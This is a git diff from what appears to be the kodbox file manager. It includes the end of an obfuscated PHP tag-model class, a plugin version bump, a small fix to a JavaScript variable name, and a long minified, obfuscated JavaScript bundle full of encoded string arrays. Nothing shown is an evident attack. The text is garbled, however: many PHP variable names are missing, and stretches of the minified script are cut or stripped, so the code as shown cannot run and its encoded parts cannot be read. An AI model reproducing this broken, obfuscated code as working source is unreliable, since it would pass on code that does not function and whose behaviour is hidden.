$[470] => $, $[471] => $ԋ ? $ԋ : $[465], $[469] => $֙ ? $֙ : $[12], $[1956] => 0); if ($this->where($ӘЮ)->find()) { return !1; } return $this->add($ӘЮ); } protected function removeFromTag($†, $) { $兩 =& $_SERVER[]; if (!Model($兩[2219])->listData($)) { return !1; } if (is_array($†)) { $† = array($兩[7], $†); } $ = array($兩[1744] => USER_ID, $兩[533] => $, $兩[470] => $†); return $this->where($)->delete(); } protected function removeByTag($) { $ҵ =& $_SERVER[]; if (!$) { return !1; } $ڙ = array($ҵ[1744] => USER_ID, $ҵ[533] => $); return $this->where($ڙ)->delete(); } protected function removeBySource($) { $Ӌ =& $_SERVER[]; if (is_array($)) { $ = array($Ӌ[7], $); } $΃ = array($Ӌ[1744] => USER_ID, $Ӌ[533] => array($Ӌ[1064], 0), $Ӌ[470] => $); return $this->where($΃)->delete(); } } \ No newline at end of file diff --git a/plugins/client/package.json b/plugins/client/package.json index 23246a60..ab4ccde9 100755 --- a/plugins/client/package.json +++ b/plugins/client/package.json @@ -2,7 +2,7 @@ "id":"client", "name":"{{LNG['client.meta.name']}}", "title":"{{LNG['client.meta.title']}}", - "version":"1.31", + "version":"1.32", "source":{ "icon":"{{pluginHost}}static/images/icon.png" }, diff --git a/plugins/client/static/down/index.js b/plugins/client/static/down/index.js index 7f05be09..d50520e1 100755 --- a/plugins/client/static/down/index.js +++ b/plugins/client/static/down/index.js @@ -107,9 +107,9 @@ ClassBase.define({ url: 'https://api.kodcloud.com/?app/version', dataType:'jsonp', success:function(result){ - var time = 3600*2; - if(!result || !result.data) time = 60*5; - result.time = time()+time; // 过期时间:正常2小时,失败5分钟 + var tmpTime = 3600*2; + if(!result || !result.data) tmpTime = 60*5; + result.time = time()+tmpTime; // 过期时间:正常2小时,失败5分钟 LocalData.set(key, jsonEncode(result)); setLink(result); } diff --git a/static/app/dist/api.js b/static/app/dist/api.js index 364ae9f3..f1baecbb 100755 --- a/static/app/dist/api.js +++ b/static/app/dist/api.js @@ -1,2 +1,2 @@ -/*! Powered by kodbox;hash:89b7453a9c242df1d160 [2024/05/09 20:45:37] */ -!function(r){function e(e){for(var t,i,n=e[0],a=e[1],o=0,s=[];o"),this.wrapID="form-maker-"+roundString(4),this.formData=$.extend(!0,{},e.formData),this.getValueWith={},this.setValueWith={},this.checkFrom=new s["default"]({"parent":this})},"loadExtence":function(){var e=["button","cityPicker","codeEditor","htmlEditor","imageSelect","color","colorImage","colorLabel","dateTime","fileSelect","fontIcon","html","segment","select","slider","tags","table","member/auth","member/group","member/job","member/role","member/user","member/userSelect","member/userGroup","member/groupAuth"],t=!1;this.loadExtenceView={},this.bind("fieldLoad",function(e){this.loadExtenceView[e]=1,_.every(this.loadExtenceView)&&!t&&(t=!0,this._delay(function(){this.trigger("initFinished",this)},0))});for(var i=0;i .panel-form-body-main > .panel-form-body")).length?0!=t.find(".tab-content").length?t.find("> .tab-content > .form-row"):t.find("> .form-row"):this.$("> .form-row").add(i),e?i.filter('[data-key="'+e+'"]'):i):$("")},"input$":function(e){var t;return e?0==(t=(e=_.isString(e)?this.formRow$(e):e).find("> .setting-content > [name]")).length?e.find("> .setting-content > label [name]"):t:(t=(e=this.formRow$()).find(" > .setting-content > label > [name]"),e.find("> .setting-content > [name]").add(t))},"resetValue":function(i){var n=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");e&&"html"!=e&&"button"!=e&&(e=n.formData[t],_.isUndefined(t)||!e||_.isString(e)||(e=i?"":e.value,n.setValue(t,e)))})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){e=e.val()||"";return _.isArray(e)?e.join(","):e},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData,i=((this.$el=e).html(i),"dialog-form target-form "),i=(i+=_.get(n,"formStyle.className","")+" ")+(_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ");$.isWindowSmall()&&(i+=" form-box-title-block"),e.addClass(i),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,t){var i,n,a,o,s,r=this,c=this.formData,l=r.makeHtml(c);return!!l&&(i=_.debounce(function(){r.trigger("dialogResize")},100),l=(n={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":'',"width":700,"height":510,"content":l,"okVal":LNG["common.save"],"ok":function(){var e=r.getFormData(!0),e=!!e.success&&e.result;if(r.trigger("onSave",e),e){if(!t)return;e=t(e);if(e||_.isUndefined(e))return!0}return!1},"resizeCallback":function(){var e=_.get(r,"dialog.$main");e&&e.find(".tab-item.active").tabCurrent(!0),i()},"close":function(){r.objectRemove()}}).className,(a=$.extend(!0,n,e)).className=l+" "+_.get(e,"className","")+" ",a.className+=_.get(c,"formStyle.className","")+" ",a.className+=_.get(c,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(a.className+=" form-box-title-block"),l="dialog-form-style-default",_.get(c,"formStyle.tabs")&&(_.includes(a.className,"dialog-form-style-")||(a.className+=" "+l),_.includes(a.className,l))&&a.width&&(a.width+=120),this.dialog=$.dialog(a),(o=this.dialog.$main).data("kodForm",this),o.find(".modal-title").html(o.find(".aui-title").html()),this.bindEvent(),a.singleDialog&&(o.removeClass("dialog-no-title"),o.find(".form-header").addClass("hidden"),o.find(".aui-footer").addClass("hidden")),s=this.dialog.title,this.dialog.title=function(e){s.apply(r.dialog,[e]),o.find(".modal-title").html(e)},t&&this.$(".form-save-button").last().bind("click",function(){n.ok()}),this.on("onRemove",function(){this.dialogClose()}),this.dialog)},"save":function(){(this.dialog?this.dialog.$main.find(".aui-state-highlight"):this.$(".form-save-button").last()).click()},"makeHtml":function(e){var t;return"string"==typeof e?(this.loadFile(file),!1):($.isPlainObject(e.formStyle)&&e.formStyle.loadFile&&(t=e.formStyle.loadFile,this._each(t="string"==typeof t?[t]:t,this.loadFile)),t=r(50),e={"items":e,"wrapID":this.wrapID,"renderHtml":_.bind(this.renderHtml,this)},this.renderHtml(t,e,!1))},"bindEvent":function(){var o=this;this.viewRendering=!0,this.$el=$("#"+this.wrapID),this.$el.data("kodView",this);(e=this.input$()).each(function(){var e=o.formData[$(this).attr("name")];$(this).data("fieldItem",e)}),this.$("input[type=password]").attr("autocomplete","new-password"),this.$el.addClass("is-loading"),this._delay(function(){o.$el.removeClass("is-loading")},100),this.bindHotKeyEvent(),this.bindGroupTab(),this.setValueReset(),this.loadExtence(),this.bindFormAll(),this._delay(function(){this.viewRendering=!1},50),this.ignoreAnimation=!1,this.$el.hasClass("form-inline")&&(this.ignoreAnimation=!0),"1"==_.get(this.formData,"formStyle.ignoreAnimation")&&(this.ignoreAnimation=!0);var e=this.input$(),t=(timeFloat(),e.inputChange(function(){var e,t,i,n,a;o.$el&&(e=$(this),t=$(this).parents(".form-row").first(),i=t.attr("data-key"),(n=o.formData[i])&&"checkbox"==n.type&&(o.checkChangeToggle(t,e,n),o.checkChangeSwitch(t,e,n),o.checkChangeAlias(t,e,n)),n&&"radio"==n.type&&o.checkChangeRadio(t,e,n),n&&"select"==n.type&&"mutil"==n.selectType&&o.selectChangeToggle(t,e,n),o.switchItemChange(i),a=window.event||!1,o._delay(function(){o.$el&&(o._event=a,o.trigger("onChangeAll",i,o.getValue(i),t,e,o._event),o.trigger("onChange",i,o.getValue(i),t,e,o._event),o._event=window.event)},0))}),_.get(o.formData,"formStyle.autoFocus"));t&&o.formData[t]&&e.filter('[name="'+t+'"]')&&setTimeout(function(){e.filter('[name="'+t+'"]').focus()},100);for(var i=e.length-1;0<=i;i--){var n=$(e.get(i));setTimeout(void n.trigger("change"),0)}this.$el.delegate(".form-row.error","click",function(){$(this).removeClass("error")}),this.$(".form-save-button").bind("click",function(){var e;$(this).hasClass("disabled")||(e=!!(e=o.getFormData(!0)).success&&e.result,o.trigger("onSave",e,o))}),this.$(".form-reset-button").bind("click",function(){o.resetValue()}),this.bindEventInput(),this.trigger("bindEventInput")},"checkChangeAlias":function(e,s,r){var i,n,t,c;r.checkAlias&&(r.$inputs||(i={},n=r.checkAlias,_.each(n,function(e,t){e+="",t+="",_.isArray(n[t])||(n[t]=e.split(",")),_.each(n[t],function(e){i[e]||(i[e]=[]),-1===i[e].indexOf(t)&&i[e].push(t)})}),r.checkChildren=i,r.$inputs=e.find(">.setting-content > label > input")),e=s.prop("checked"),t=s.attr("value"),c=function c(e,t,i){var n=e[t];if(n)for(var a=0;a.setting-content > label input")).each(function(){var e=$(this);!e.is(t)&&e.prop("checked")&&(e.removeAttr("checked"),e.parent().removeClass("select"))}):void 0;var o,s,r=i.checkToggleVal,n=(r||(r=[],o=e.find(">.setting-content > label input"),s=[],o.each(function(){s.push($(this).attr("value"))}),_.each(i.checkToggle,function(e,i){var n=e;"*"==e&&(e=s),_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t;e&&e!=i&&(t=o.filter('[value="'+e+'"]')).length&&(r.push({"by":i,"k":e,"$inputItem":t}),t=o.filter('[value="'+i+'"]'),"*"==n)&&r.push({"by":e,"k":i,"$inputItem":t})})}),i.checkToggleVal=r),t.prop("checked")),c=t.attr("value"),l=this.getValueField(e.attr("data-key")).split(",");_.each(r,function(e){n&&c==e.by&&_.includes(l,e.by)&&e.$inputItem.attr("checked")&&(e.$inputItem.parent().addClass("select"),e.$inputItem.removeAttr("checked").trigger("change"))})}},"checkChangeRadio":function(e,t,i){e.find(".setting-content label").removeClass("select"),e.find("input").filter(":checked").parent().addClass("select")},"selectChangeToggle":function(e,t,i){var n,a,o,s,r,c;if(i.checkToggle)return n=_.filter(t.val()),a=i.checkToggle,o=(t.attr("data-value")||"").split(","),r=_.clone(n),c=!1,s=function s(){t.attr("data-value",r.join(","))},!_.isArray(n)||n.length<=1||(r=_.clone(n),c=!1,_.each(n,function(e){_.includes(o,e)||c||(_.each(a,function(e,t){"*"==e&&_.includes(n,t)&&_.pull(r,t)}),a[e]&&("*"==a[e]?(c=!0,r=[e]):(e=a[e].split(","),_.each(e,function(e){_.pull(r,e)}))))}),_.isEqual(n,r))?s():(t.val(r).trigger("change"),void s())},"checkChangeSwitch":function(e,t,i){var o,s,a,r;i.checkSwitch&&((o=i.checkSwitchVal)||(o=[],s=e.find(">.setting-content > label"),_.each(i.checkSwitch,function(e,a){_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t="-"==e[0],i="*"==e[0]?"disabled":"hidden",n=("-*"==e.slice(0,2)||"*-"==e.slice(0,2)?(e=e.slice(2),t=!0,i="disabled"):"-"!=e[0]&&"*"!=e[0]||(e=e.slice(1)),s.filter('[data-value="'+e+'"]'));n.length&&o.push({"by":a,"k":e,"$label":n,"isReverse":t,"className":i})})}),i.checkSwitchVal=o),t.prop("checked"),a=t.attr("value"),r=this.getValueField(e.attr("data-key")).split(","),_.each(o,function(n){var e;a==n.by&&(e=_.filter(o,{"k":n.k})||[],(e=_.filter(e,function(e){return e!=n})).push(n),_.each(e,function(e){var t=_.includes(r,e.by),i=t?"removeClass":"addClass";e.isReverse&&(i=t?"addClass":"removeClass"),n.$label[i](e.className)}))}))},"bindEventInput":function(){var i=this,n=(this.$(".input-title[action]").bind("click",function(){var e=$(this).attr("action"),t=$(this).prev(),i=t.val();switch(e){case"openLink":window.open(i);break;case"clear":t.val("");break;case"qrcode":core.qrcode(i);break;case"round8":t.val(roundString(8));break;case"round16":t.val(roundString(16));break;case"round32":t.val(roundString(32));break;case"copy":$.copyText(i),Tips.tips(LNG["explorer.share.copied"])}}),function n(e,t,i){""==t?i.removeClass("item-not-empty"):i.addClass("item-not-empty")});this.bind("onChangeAll",n),this.formRow$().each(function(){var e=i.input$($(this));e.attr("name")&&n(e.attr("name"),e.val(),$(this))}),this.input$().bind("focus",function(){$(this).parents(".form-row").first().addClass("item-focus")}).bind("blur",function(){$(this).parents(".form-row").first().removeClass("item-focus")}),this.$(".input-clear").bind("click",function(e){var t=$(this).parents(".form-row").first();i.setValue(t.attr("data-key"),"")})},"bindFormAll":function(){var n=this.formRow$(),a=this;this._each(this.getValueWith,function(e,t){var i="bind"+_.upperFirst(t);n.filter(".form-"+t).exists()&&_.isFunction(this[i])&&this._delay(function(){this[i].apply(this,[function(){a.trigger("fieldLoad",t)},this])},0)})},"switchItemChange":function(e,i,t){var n,a,o,s,r,c;i=i||{},(t=t||{})[e]||(t[e]=!0,n=this.formData[e],a="button/switch/radio/checkbox/select/tags/segment".split("/"),r=this.getValueField(e),n&&(s=this.formRow$(e),o=s&&"2"==s.data("data-show"),this.switchItemClassItem(n,r),s=n.switchItemValue&&n.switchItemValue[r],_.isObject(s)&&this.setValue(s),n)&&n.switchItem&&_.includes(a,n.type)&&(s=_.map(n.switchItem).join(",").split(","),"button"==n.type&&(r=this.input$(e).val()),c=n.switchItem[r]?n.switchItem[r].split(","):[],this.$el.attr("switch-key-"+e,r),_.includes(r,",")&&this._each(r.split(","),function(e){n.switchItem[e]&&(c=c.concat(n.switchItem[e].split(",")))}),c=_.filter(_.map(c,_.trim)),s=_.filter(_.map(s,_.trim)),this._each(s,function(e){var t=this.formRow$(e);_.includes(c,e)&&!o?(this.display(t,1),i[e]=!0):this.display(t,0)}),this._each(s,function(e){_.includes(c,e)&&!o?this.switchItemChange(e,i,t):this.switchItemHideChildren(e,i)})))},"switchItemClassItem":function(e,t){var n;e&&_.isObject(e.switchItemClass)&&(n=(t||"").split(","),this._each(e.switchItemClass,function(e,t){var i=_.includes(n,t)?"addClass":"removeClass";this._each(e,function(e,t){t=this.formRow$(t);t&&t.length&&t[i](e)})}))},"switchItemHideChildren":function(e,i,n){var t=this.formData[e],a="button/switch/radio/checkbox/select/tags/segment".split("/");t&&t.switchItem&&_.includes(a,t.type)&&!(n=n||{})[e]&&(n[e]=!0,a=_.map(t.switchItem).join(",").split(","),a=_.filter(_.map(a,_.trim)),this._each(a,function(e){var t;i[e]||(t=this.formRow$(e),this.display(t,0),this.switchItemHideChildren(e,i,n))}))},"display":function(t,e){var i="item-hide",n=function n(){var e="block";return t.hasClass("inline")&&(e="inline-block"),t.parents(".target-form").hasClass("form-inline")&&(e="inline-block"),t.css("display",e).removeClass(i)},a=t.hasClass("no-animate")||this.ignoreAnimation;if((this.$el.hasClass("no-animate")||this.$el.hasClass("form-inline")||this.$el.parent().hasClass("form-inline"))&&(a=!0),this.viewRendering||a)return t.data("data-show",e?"1":"2"),e?n():t.hide().addClass(i);var o=$.easing.def,a={"duration":150,"queue":!($.easing.def="linear")};e?"1"!=t.data("data-show")&&(t.data("data-show","1"),t.stop().slideDown(150,function(){n().css({"opacity":"","overflow":""}),$.easing.def=o}),t.css({"opacity":0}).animate({"opacity":1},a)):"2"!=t.data("data-show")&&(t.data("data-show","2"),t.stop().slideUp(150,function(){t.hide().addClass(i).css({"opacity":"","overflow":""}),$.easing.def=o}),t.animate({"opacity":0},a))},"bindGroupTab":function(){var i=this.$(".tab-panel"),n=this.$(".tab-group .tab-item");if(1==n.length)return this.$(".tab-group").remove();var a=this;i.each(function(){var e=$(this).attr("id"),t=a.$("."+e);0'+e+"":(_.startsWith(e,"/")&&(e="folder"),_.startsWith(e,"./")||_.startsWith(e,"/")||_.startsWith(e,"http://")||_.startsWith(e,"https://")?'
':c[e]?''+('')+"":_.startsWith(e,"icon-")?'':_.includes(e," ")?'':'')},d=function d(e){if(e&&"{"==e[0]){e=(e||"").match(/^{\w+(:[a-zA-Z]+)?}/);if(e&&e[0]){e=e[0].replace(/[{}]/g,"").replace(/:/g,"-");if(r[e])return e}}return""},h=function h(e){var t=!(1":l(e,t)},t.pathIcon=o},function(e,t,i){"use strict";var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},s=(Object.defineProperty(t,"__esModule",{"value":!0}),"function"==typeof Symbol&&"symbol"===n(Symbol.iterator)?function(e){return void 0===e?"undefined":n(e)}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":void 0===e?"undefined":n(e)}),a=c(i(219)),o=i(23),r=c(i(52));function c(e){return e&&e.__esModule?e:{"default":e}}var l,d=["WP0LW74RqG==","vs7cHeHR","lCojW4pdMCoN","WPOqW5pdSsC=","o0yiW7DN","WPqtW5K8BCkqrX7dM2u=","WQqhC34q","EZxcUmkw","xq8OWO5k","wZ/cKf5+","WQ0yWPjIEa==","xYNdTCkiWPFdO3BdKG==","W5SpWOqiW6S=","vvzNBsW=","wmkGj8oq","W4f4jq1m","rILp","WQyWDL8MWRK=","r8o0W4tcVfa=","WOVdImo1a8k6","W5LlW7JdS2m=","xGmXmSocW4mGfs0=","hCo4WOxcOCk0","s2jasxC=","mMy7W5Lq","rJ4iWOnrfa==","r8oxW702W6ldUmoyW5/dHSkVWPpcLSoD","WR/dOCkuWPTf","B8oCW6KWW7C=","f8kWewBcHG==","sCozWOyiFG==","qSo+W4NcLColr8oTfmknWOhdSCotW7hcIKm=","irKzWOhdJqb8WQ9qtq==","W4vwW4tcNcm=","h3KJW5XSWQW=","W7xdH0/dUCkUW4i2i8kRamo+hq==","WROICfmX","WOZdJ8oYW6BdTb7dKmkFqfBcKSoNWPlcHHe=","FGypc8of","yKv2vWe=","zqaUgCox","WPpcRXilW6G=","gSkfd8oS","AH12W5pdGq==","W6ZdRKBdQCk4","WOaQW58XwG==","W5vtW4ldPfW=","WRhdRmkjWRrf","W7y0WRi4W6e=","fSkUsMLL","zuvJFuFdOgXDk03dIa==","isLyWOJdLa==","WO9emsa=","W6ngq8o2rq==","dCk4fw3cSW==","WOSCAuW0","xLtcPCoRjG==","WOSbW7hdNtu=","qtOAoSkF","mYhdTSo4vG==","W6iAWRqWW7W=","W4pcJSkfp1buW5nqcCkBma==","WQjbWOZdJWtdV3OVW7jtW4FcTbJdVmkkWO3cKCkMW7WmBKy0W7tcLgJcN8kgr34VWQKOctRdT24qWQpcPqHrW4pcJCogWQv8DSkacsS/hCkAW6T9p8oeW6H2e0hdK8oZW5RcK8oIWQ91B2hcUGDkWQJcQWBcG8k6jeFdLMiUCW7cVsdcL8oJb8obg8oHqK3cTLtdNa==","WRVdJ8oromka","WP/cVHuJW63dUZ7cOSkGWP/dGq==","h8okWOJcV8k0","W5C/ab9L","gmkIzM5R","WOVdMmoVW57dSaBdGCkAwv/cNW==","WP3dMmoMW7ldPqJdOCkWsv7cLSo7WQC=","W5WCWOG4","nCosWRtcTSkODmklpmo9","WQqWW6CtrG==","oSkmBf1P","W4ynWOW=","cSknbLVcRW==","qd5Cka==","W5H2W5RdPei=","W4jqba57hSoGArpdOmoOW6akWOO=","jmkvb07cMW==","WQy7uuaj","WQmTWQFdK8oU","W67cPhBdNmkmW5W=","W4vqW5lcJHG=","xXXFW5lcGa==","W55UcrhdSNZdLafSW6FdR3ZcUmkXvSooWO9z","WQavWP/dJmoO","WQJcP1BdGKq=","E35fDGe=","eSkjkCoLza==","x8oRW4pcKLq=","rvrxDbW=","ua3dVColW6i=","hx0UW7HW","W5WmW4xdICkUD8ozWQvHbLy=","qqjpW73dHa==","qCoaW580W4q=","WQWRWRZdGSo2","W7BcUgJdNG==","rCotW6ONW6FdOSo7","DghcHCoq","CabaW4/dHq==","W5r8W5xdTwm=","fCkqWOpcOSo5","WQ3dJmoHhmkv","ud4/m8kdDgHFnW==","DxvjAhq=","amoWWPZcISkF","W6eCdJnL","i8ofWO7cUCk/","W6S5WR0EW40=","WPu5W6ZdRbi=","WORdSmofg8k3WPS=","WORdQSotcSkXWO3dGW==","wc8eeCot","W5fFfansbmoNjW==","bNiGW7zY","W6uuksa=","Br3cMgHnWPJcSa==","DLGW","W7LkW4xdRKe=","dSkUpCobuq==","AHVcKhTFWO4=","WPeqW5hdOI8=","W74tjYa=","uayvmmkN","DbBcPKLV","WPJdQSk5WRPg","WOVdVSkiWQLo","WOLhWOJcMCkMoSk0W44hD33cRmkzpIq=","W6ZcQfpdUCkz","lSkbq21z","W70lWPK3W608","WQZdJ8oYW6BdTb7dKmkDsKFcLSoN","W5H5eqK=","WPVdI8oGW7S=","W5aoWRlcJCkO","wSo6WR0YFei=","tXxdKCkPWRm=","ebvaWRddQq==","WQFcTfJdM3K=","Aei2th3dU8okbH8=","rrxdO8k7WQy=","WQCHW7Kjv8krEJK=","W5iquSkaeq==","AJvzi8oH","BxPwCaG=","lCkFz1S=","W51hlHBdLa==","hhmUWPvYWR1TW7v9uxO=","W7rPW4hdU0S=","uZ3cLu5G","C3zxAclcSa==","av0JW7bZ","W6S0WO4vW64=","EbCdWP93","WOpcHuJdO3u=","W48sWRaVW64=","WOapBmkM","W6OSFmkYfa==","W5KxWP0HW5W9geLTjmoQkSoVnCkg","WQJdGCk9WRLsWQ3cVaWrW44sW7HXWQDjrdhdIW==","iYjGWRpdGW==","BHZcVhXb","W4axWO4UW4e=","WPiMW4aCAa==","W55CpJL/","tWaKl8ks","W4D2W4pdSfW=","dNGKW41P","d8kvvubn","AIObWOze","W4nLkGhdUMddLJy=","W4iXjtjZ","yCoJW7lcKhS=","W6GkmHXg","wHrIW5ZdJW==","W6OmWP3cH8kIFq==","WQNdNCovkSkw","u1pcO8o3mX8KWOO0W6W=","BbRcU05Z","zCoQW6ZcPhq=","pqWoWPi=","DxPAyWFcPxtdMG==","W5WBWPBcNmkN","Cr1D","WQ/dOCokW57dTq==","W5LEASoRra==","zNf8sYW=","y3L6oSkQ","W7CAdGj1","sXm9lSkUW5S4eZJdO8oEBCkNW4Ge","qdXln8oO","WQJcI2JdMhC=","W4SAdcXv","vLlcN8o3aG==","WRpdISkVWQbcWRRcRtK=","WQVdPCoRy1e=","WOtdOmolW6RdPW==","WR7cPxhdJCoyW5DcaXpdOKX4W6DnnCo/W53cIXldRSoHseNdHq==","vZtdP8ouW47dUq==","DvpcUSocjq==","Ds9hW4RcNa==","fCkFcgZcIa==","ac4BWOBdQa==","umoDWPuiAW==","WRhdISkBWO5f","yZL6W6VcUG==","WP3dHCoNW7y=","D35md8ky","W4jciHjU","utldOmovWPtdP8k2juhdVvznDCkPA2r1","WPVcOGOLW6i=","wta2nCoQ","W4NcUhRdG8ki","jI4tWOhdQq==","oSoNW5K=","rsRdISkvWPe=","Emo8WPy6vW==","lCkGWPBcOmo+","r8oxW782W6VdV8oOW6ZdL8k6WQFcGmoxggFcLSohW4O=","yCo7WR8PEq==","y253zeq=","WPJdOSoAW4NdMW==","WRZdPmo6W6xdLG==","BcxdI8obW78=","W6f7W7ZcTqu=","EH0ahCor","Cmoczef6sa==","qc0IpW==","orldK8okzW==","W6HBmXhdKa==","nmkvn1BcSW==","W4/cSLe6WRxdO03cTSo7WO/cLG7cJSknfSkwWRZdJmoO","WPKRW6hdSW==","f8krcL3cVq==","f8oQWPJcISkrD8kXd8orWPpcH8oAWRxcMq==","DfTTFum=","W5y/WRCmW6O=","WQZdHCkGWRLs","W7rsbcTe","W5pcLmkd","WQxdJSoXv0G=","W65WW57dMw0=","vtHyW7NdHW==","W5PIcHldSG==","W5HeW4NcQJq=","WPGgWObwDa==","hxORWPmU","WPlcMMNdNf8=","W4ddH0O=","WOK/WOvW","i8kfcmoUuG==","DLfAwvm=","DxJcHCouaI8=","wZ7cKW==","W5HuW6NdLLO=","uSo/W4JcSvldNhKiW7lcRSo2WR0=","yxv2AGe=","pmkYWO7cHmon","W4ugF8kJpq==","WQVdRCkhWP1a","WRhdUCohoCkW","W7SfWQKXW5G=","d8kCoSotuG==","AHH4W4NdGCkj","E2bWx0q=","W79As8oP","W4dcUxVdGSkz","W5NcJCkIohG=","EG/dPmk/WPC=","maLNucdcL8kpta==","ctbJuqy=","WPVdIG3cRmk4W4u7dSkOsCk5dbZdS8kZW5pcVCkUn8oBu8k0ASk3xstcIKVcS1qdWPpcSfFcHmoZW50=","W4DKheRdOwRdKIbGW7ZdTfRcR8keqq==","z1zUA0C=","W4DpW7FdJKC=","Cmo6W5qaW6q=","rthdRa==","W6VcGL/dQ8kY","WQOhW6/dLXO=","W49QfaG=","W54VWPeBW5G=","W4nfpZxdUG==","WPJcPg3dRh8=","E35Anmkp","W6P6brzN","DJvuW5ddSq==","uWOoc8k2","kSk3uujD","ghiPW54=","WQBdS8oFdG==","EmovW7qjW4O=","pX3dTmoe","m8oxWQtcJCk0","W7uVdqfG","WP/cVai1","W7HgW7JcVt4=","vCoxWQSrxq==","fbH2WPxdQq==","DGxcVLTo","WQ3cIehdJKj/","v0pcHCo0gG==","hSoJWPNcQSko","W63cLCkip24=","W4aIWRRcVmkc","W5GjWOZcImkR","iGz2WQJdJa==","WPlcHsidW4i=","vmoaW6KW","W7aimc1ZvSoqsfi=","qq8zWOjz","W5vdfbC=","hW8pWQZdQq==","W7nUgqFdVW==","W4hcLSkqmei=","W4vuW4VdR3W=","nbfLrG==","WOeOWQddV8ok","WQVdT8oT","wX49WPXw","W49NhqxdPq==","W7JdVu7dVSkKW4uTpCks","W5rkW5RdUv0=","iqP6ute=","ecXHsdW=","xSo+W7WYW4W=","iczyWPmieCoFjvDCWP8MWQmQwSkSASkvWPm=","W5RcPxddI8kG","WO/cGJm0W4a=","n8k9kuBcVq==","W6avkGHy","bZrRWQ3dONBdGcNdKSozvcBcLHNdGG==","FdxdHmk6WRy=","WPZcTIqpW7e=","yYH5W47cPq==","neyJWRFdHZ4TW5RdUSkMumoCWORdV8odWR7cP8kcW4hcQZrSjqZdHSkpgCoqWPShWOecWRtdUr7dKmkjzbPYW7e1WQGajtpcGwHcW5iJW6eHW4hcUCoIkG4PW6dcQeeenctdOSkDWR3cLCkYW6VcVfDBW6K5tuelW57dOmoMySoADKPYrd7dTSkGo2xcQmkdW5lcVYddKNC7h8k+WQJdQMjaW4NcSKBdKmocz0NdSh/cKComW5xdGSo6W6LlW544l23dMNXxmrNcImkKW57cGqvtW6NdGSk9xSoeWP1EWQtcOsLRcJKkwmoVpdLIW6TTCM7cMcZdMsj2W7TpACoIWPjvW7dcK0CqFHC+jwGbrutdG1tdRYFcH8o7i8oSySoddI7cQZlcUSoSW57cPMpcSSkiEtJcNHVcK8o8WQHZW6DSamk4ufPAt8kcWQS8Cmk1WQbqW5xcGXuhWQ1NjaP3p8oJW7v8W6TXtSk/t8k7aX/cTSkkW6blWRxdOGvjW5RcHmk1W4X/WPBcPhtdL8oOWQldUrOKWRFdOCoxW6VdGMpcGIdcGCk6Bmkgq1pcRmoXW7VcRt7dGJPcoW7cKSkhjCofu8kEW5XkWQpdVXRcK3eXW5btjeBcICkUWOanWOHAW7xdTuxcP8kbsSoZW7q4W47dQmk7hWlcICoiW6FcOsZcG8k3WRbWWRnfe8kavGRdKSksWOZdGCkxyqyMfSo/b8oHsmkeW5xcL8kjBCkbWRtcPmkdW5GovSoxe8kGW5KcWR8XWRG/WPHdcby4WO7cGKdcNKyaa3yMW6utrmkdACoYW4vtW6zUWQ9ifmoFpmoHW7HWWQy9q3RdQSoFW5tcM2jwWOldMGpdUmkGbaWJWRzIWQygn8oWphxcK8kBWOpdLZFdMZ/cVWDKtv7cGtjrWOldT8kdWPbiWRZdKSkbj3DzWPdcLetcJCoHW5v6cuLBxs9hW5VdGSkCWQGBqmk0BSk6uYFcI3FdGaVcLSo7kSotWQOsW4hdJ8o+WQure8ocW5mnWRzYWRZcQ2lcImkNmmk+WR3cQ8kFWOVcNqddNXPtW5XjFNdcOSkibCkNW5jYBmoDEKJcGmkyfSk4WRBdHSkBWOZcN8ogd8kkW4e4dvRcHmoddZXeWQ1CDmo/nCo5xXrFWRj0WPS9W7uXW6uEW4/dImkTzZmuwu3cQZ3cLgldHwFcJCkVnLbWWRNcKbRdTmkqFva1W7v2jbrLW6BdJSkYBtFdISkintZcHbH7WOXVmcFdOZFcQmkhW6LoWOv7r8ksWQayECosWO4gW4W+W6CLje/dSmolWPbCkwxcO0xdVX8vWRNcP8oZWQFdI03dVCoDcSoJqmk/WRyFW7CoW7tcH8oVWPj2WOddTaX1WOhdKqaYWOLiAf3dHmooW6ZdO0ZcH2StWOdcLcdcPSkfWRuaBgpdPmkEbYFcHmklWRxcU8o6oSoyx8oAmmkntSoqrW9kt8ksWPZdU8kMtWBdIY7cQCksW4VcThjCWPrJySo1qSkyWOFdSJL/W7tcU8kPiKVdVCo6W4nki8kXW5LnW47cGwJcJw3cLchcKSoXx0hdKmotCSoWWPubW7y7ushcUM8CW5K2W4a+ftpcHqxdOIqXAL/cImofWOeZbmkOjdVdGCosWPudW4FcOmkxWQ0rFZGnWPJdVINdVtrpECoDWRSuer8MwCk9wIZcVa==","pCkKkmoCAW==","WRBdGCkIWQTdWRy=","WROMFu4WWR4=","W4vblbZdRW==","W5HnW7VdRe0=","WR0rW6uaFW==","cmkaWRhcJ8o4WPOGWOWlESkjW5pcTLddI8oSC8kEzwi=","W4aBWP3cMCoTAmorWQbNecddUCoBk3xdMCoR","W6pcGmkIhK4=","W6SMuSkYiq==","W4qAzmkBiq==","WROPWRNdJmor","W45IgtBdHa==","Ad4JeCkd","WRmNw